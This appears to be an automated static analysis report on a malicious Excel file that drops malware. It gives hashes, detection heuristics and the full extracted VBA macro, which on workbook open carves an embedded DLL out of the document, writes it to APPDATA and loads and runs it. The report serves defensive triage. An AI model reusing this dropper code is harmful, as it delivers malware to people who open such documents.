Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 bd7004d750620336…

MALICIOUS

Office (OLE)

340.5 KB Created: 2019-08-30 09:14:50 Authoring application: Microsoft Excel First seen: 2020-05-14
MD5: 0e205b591916ea66bd707fc2f47e9513 SHA-1: 615d6fc76f51bbc5ac5352c8d10edda53d45ea80 SHA-256: bd7004d7506203360962b090f968087b24a9371344be5b261f21bb3344b24b20
396 Risk Score

Heuristics 11

  • Excel invalid object access exploit — CVE-2009-0238 critical CVE likely CVE_2009_0238
    Excel workbook contains repeated malformed OBJ records whose ftMacro subrecord points to 0xFFFF, paired with shellcode-style payload context. This matches the invalid-object access exploit shape used by CVE-2009-0238 rather than a generic BIFF anomaly.
  • ClamAV: Xls.Dropper.Mrrk-7165692-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Xls.Dropper.Mrrk-7165692-0
  • Embedded PE executable critical OLE_EMBEDDED_EXE
    MZ/PE header found inside document — possible embedded executable
  • Reference to LoadLibrary API high SC_STR_LOADLIBRARY
    Reference to LoadLibrary API
  • Suspicious extracted artifact high EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
        Set oApp = CreateObject("Shell.Application")
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Triggers on the COMBINATION of two tokens co-occurring in the same compiled VBA/cache stream: an auto-execution entry point (Auto_Open / AutoOpen / Document_Open / Workbook_Open / Auto_Close / AutoClose) AND a shell/download/object-execution token (Shell, CreateObject, GetObject, PowerShell, cmd.exe, URLDownloadToFile, WinHttp, XMLHTTP, ADODB.Stream, ShellExecute, ExecuteExcel4Macro). Neither token alone fires it — it is the pairing that flags p-code-only or source-extraction-failure macro documents where the visible VBA source is unavailable. The matched tokens are named in the detail line below.
  • Workbook_Open macro low OLE_VBA_WBOPEN
    Workbook_Open macro
    Matched line in script
    Private Sub Workbook_Open()
  • Environ() call (env variable access) low OLE_VBA_ENVIRON
    Environ() call (env variable access)
    Matched line in script
    ChDir (Environ("TEMP"))
  • Reference to VirtualAlloc API medium SC_STR_VIRTUALALLOC
    Reference to VirtualAlloc API

Extracted artifacts 4

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 4156 bytes
SHA-256: 84a27d05a3c65b65d4c628da6f96459821ba88d7ac253fd2ade3a5b4683f5405
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "l1"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Private Sub Workbook_Open()
ExecuteExcel4Macro "MESSAGE(False, ""Release"")"
ChDir (Environ("TEMP"))
    UserForm1.Show
ExecuteExcel4Macro "MESSAGE(False, ""Release"")"
End Sub


Attribute VB_Name = "bb"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Module1"


Public Sub CreateGifFile()
    TempName = Environ("TEMP") & "\13.xlsx"
    ZipName = TempName + ".zip"
    ZipFolder = Environ("TEMP") '& "\UnzTmp"
  
    Dim size As Long
    Dim num As Integer
    Dim ADATA As String
    Dim nm As String
    ADATA = Environ("APPDATA")
#If Win64 Then
    nm = ADATA + "\exchange2.dll"
    size = 66048
    num = 2
#Else
    
    nm = ADATA + "\exchange1.dll"
   size = 81920
    num = 1
#End If
          
    On Error Resume Next
    Kill ZipName
    Kill ZipFolder & "\oleObject*.bin"
  
    Kill nm
    On Error GoTo 0

    ThisWorkbook.Sheets.Copy
    Application.DisplayAlerts = False
    ActiveWorkbook.SaveAs TempName, FileFormat:=51
    ActiveWorkbook.Close

    

    FileCopy TempName, ZipName
    
    Set oApp = CreateObject("Shell.Application")
    oApp.Namespace(ZipFolder).CopyHere oApp.Namespace(ZipName).items.Item("xl\embeddings\oleObject1.bin")
    ReadAndWriteExtractedBinFile ZipFolder + "\oleObject1.bin", nm, size, num
    
    ChDir (ADATA)
    Hwnd = k32LL(nm)
    Amway

End Sub
Sub ReadAndWriteExtractedBinFile(s As String, nm As String, fl As Long, num As Integer)
    Dim intFileNum As Long, bytTemp1 As Byte, bytTemp2 As Byte, bytTemp3 As Byte
    Dim NewAr() As Long

    ReDim NewAr(1 To fl)
    NewAr(1) = CByte(77)
    NewAr(2) = CByte(90)
    NewAr(3) = CByte(144)
    
    intFileNum = FreeFile
    Open s For Binary Access Read As intFileNum
    Dim cur As Integer
    cur = 1
    Do While Not EOF(intFileNum)
        Get intFileNum, , bytTemp1
        If bytTemp1 = NewAr(1) Then
           Get intFileNum, , bytTemp2
           If bytTemp2 = NewAr(2) Then
                Get intFileNum, , bytTemp3
                If bytTemp3 = NewAr(3) Then
                     If cur = num Then
                        For k = 4 To fl
                            Get intFileNum, , bytTemp1
                            NewAr(k) = bytTemp1
                            Next k
                         Exit Do
                     Else
                        cur = cur + 1
                     End If
                End If
           End If
        End If
    Loop
    Close intFileNum
    
    intFileNum = FreeFile
    Open nm For Binary Lock Read Write As #intFileNum
    For i = LBound(NewAr) To UBound(NewAr)
        Put #intFileNum, , CByte(NewAr(i))
    Next i

    Close #intFileNum
End Sub




Attribute VB_Name = "UserForm1"
Attribute VB_Base = "0{C6DDD3EA-9DB8-4493-AF37-EAA536550A30}{C596E5BB-7099-4B4F-8859-0FF1E5F49662}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Private Sub UserForm_Activate()

CreateGifFile
End Sub


Attribute VB_Name = "Module2"
#If Win64 Then
    Public Declare PtrSafe Function Amway Lib _
        "exchange2.dll" () As Integer
    Public Declare PtrSafe Function k32LL Lib "kernel32" Alias "LoadLibraryW" (ByVal lpLibFileName As String) As Long
#Else
    Public Declare Function Amway Lib _
        "exchange1.dll" () As Integer
    Public Declare Function k32LL Lib "kernel32" Alias "LoadLibraryW" (ByVal lpLibFileName As String) As Long
#End If
embedded_office_00003f62.exe embedded-pe Office MZ+PE at offset 0x3F62 332446 bytes
SHA-256: e7779db2965663cecd33f5c3f848f61dd4cd05a500508856688c88bcd39cbd4e
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved macro source contains an auto-exec entry point and execution/download terms.
ole10native_00.bin ole-package OLE Ole10Native stream: MBD00DF435B/Ole10Native 160402 bytes
SHA-256: bf8fc1738373539cc0f843890c7eedb526d9ca8f20ad11efa18cc491eb842815
ole10native_00_2AB07F92.png ole-package-payload OLE Ole10Native payload: MBD00DF435B/Ole10Native; display_name=2AB07F92.png; full_path=C:\Users\1\AppData\Local\Temp\2AB07F92.png; temp_path=; def_file= 159931 bytes
SHA-256: 9fa9a8c4c891a97a345cbf17c8dd442fa1b92b490dad94911c42b4e3f555bb6c